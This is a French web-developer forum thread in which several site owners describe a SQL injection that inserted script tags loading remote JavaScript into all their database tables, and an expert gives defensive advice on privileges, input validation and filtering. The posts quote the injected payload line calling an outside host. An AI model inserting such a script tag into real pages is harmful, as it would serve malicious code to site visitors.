|
Publicité ' | |||||||||||||||||||||||
|
|
#1 |
|
Candidat au titre de Membre du Club
![]() Inscription : juin 2004 Messages : 67 ![]() |
Bonjour,
J ai un site associatif qui tourne depuis 5 ans sous sql 2000 1 base avec 10 tables 1 connections spécifique Je me connecte a cette base via des pages asp 3.0 via une include connection de type : MM_SQL_STRING = "Provider=SQLOLEDB;Data Source=(local);Initial Catalog=mabase;User ID=user;Password=password;" Cet utilisateur peux lire modifier supprimer ce qui l veux dans cette database. Voila je viens de voir tristement que ma base est complètement corrompue avec cette chaine après des données exemple : Titre article<script+src=http://9i5t.cn/a.js></script> sujet article<script+src=http://9i5t.cn/a.js></script> et ce dans toutes les tables !!!! Même des tables de sauvegarde qui ne sont pas appeler du site quelqu'un peux m aider a y voir plus clair j ai dessuite change le password de l’user mais bon je doute que ca fasse grand-chose c’est de sql injection ou voyer vous autre chose sachant que j ai d’autre base qui non pas été toucher. Cordialement Fred |
|
|
00
|
|
|
#2 |
![]() ![]() ![]() Frédéric BROUARDExpert SGBDR & SQL Inscription : mai 2002 Messages : 10 959 ![]() |
Il s'agit d'injection de SQL à l'évidence.
1) protégez votre base par DES accès et DES utilisateurs SQL pourvus de privilèges, et non par le compte SA 2) si vous utilisez du SQL dynamique, vérifiez les valeurs entrées avant de construire votre chaîne de caractère. En particulier limitez le nombre de caractères au plus strict. 3) analysez les chaînes de caractères constituant des paramètres d'objet à la recherche de motifs comme CAST, sys, etc... 4) évitez le SQL dynamique. Si votre base est bien modélisée il est rare d'avoir besoin de faire appel à du SQL dynamique. A +
__________________
Frédéric Brouard - SQLpro - ARCHITECTE DE DONNÉES - expert SGBDR et langage SQL Site sur les SGBD relationnels et le langage SQL: http://sqlpro.developpez.com/ Expert Microsoft SQL Server - M.V.P. (Most valuable Professional) MS Corp. Blog SQL, SQL Server, modélisation données : http://blog.developpez.com/sqlpro http://www.sqlspot.com : modélisation, conseils, audit, optimisation, formation * * * * * Enseignant CNAM PACA - ISEN Toulon - CESI Aix en Provence * * * * * |
|
00
|
|
|
#3 | |
|
Candidat au titre de Membre du Club
![]() Inscription : juin 2004 Messages : 67 ![]() |
Citation:
Si je comprends bien je devrais laisser la base consultable via une connexion publique ou autre (qui n’aurais aucun privilège seulement lecture) front office Et utiliser une autre connexion qui ne servirai que dans le back office (avec autorisation de modification supp … ) C’est cela ? Par contre sql dynamique hmmm tu peux m’éclairer un peux plus merci pour tout encore |
|
|
|
00
|
|
|
#4 |
|
Invité de passage
![]() Inscription : juin 2008 Messages : 5 ![]() |
Bonjour
j'eu le meme probleme que casa51, il nous a prit de court, nous n'avons pas le temps de purger tout nos codages. j'aimerai bien proteger ma base en attendant. j'ai seulement 4 tables autorisées update et insert. peut-on mettre un trigger sur chaque table, rechercher les caracteres indesirables, si existe faire un rollback? je ne suis pas un expert de triggers, pourriez-vous m'aider? |
|
|
00
|
|
|
#5 | ||
|
Invité régulier
![]() Inscription : octobre 2007 Messages : 9 ![]() |
Idem, j'ai subit une intrusion ce week-end, une source de script dans plusieurs tables. la source se trouve sur "www.bigadnet.com/b.js". J'ai fait une recherche sur google :
Code :
Comment ont-ils fait pour ce type d'intrusion ? Quelles types de parades adopter ? |
||
|
|
00
|
|
|
#6 | |
|
Invité régulier
![]() Inscription : octobre 2007 Messages : 9 ![]() |
Suite. Je suis toujours dans la panade :
Citation:
|
|
|
|
00
|
|
|
#7 | |||
|
Invité régulier
![]() Inscription : octobre 2007 Messages : 9 ![]() |
Bonjour, et désolé de polluer le forum, mais j'espère que ces posts peuvent en aider certains.
Suite : ou comment filtrer les requêtes Citation:
|
|||
|
|
00
|
|
|
#8 | ||
|
Invité régulier
![]() Inscription : octobre 2007 Messages : 9 ![]() |
Suite : j'utilise la fonction précédente, et je me retrouve avec des logs de ce genre
Code :
|
||
|
|
00
|
Copyright © 2000-2012 - www.developpez.com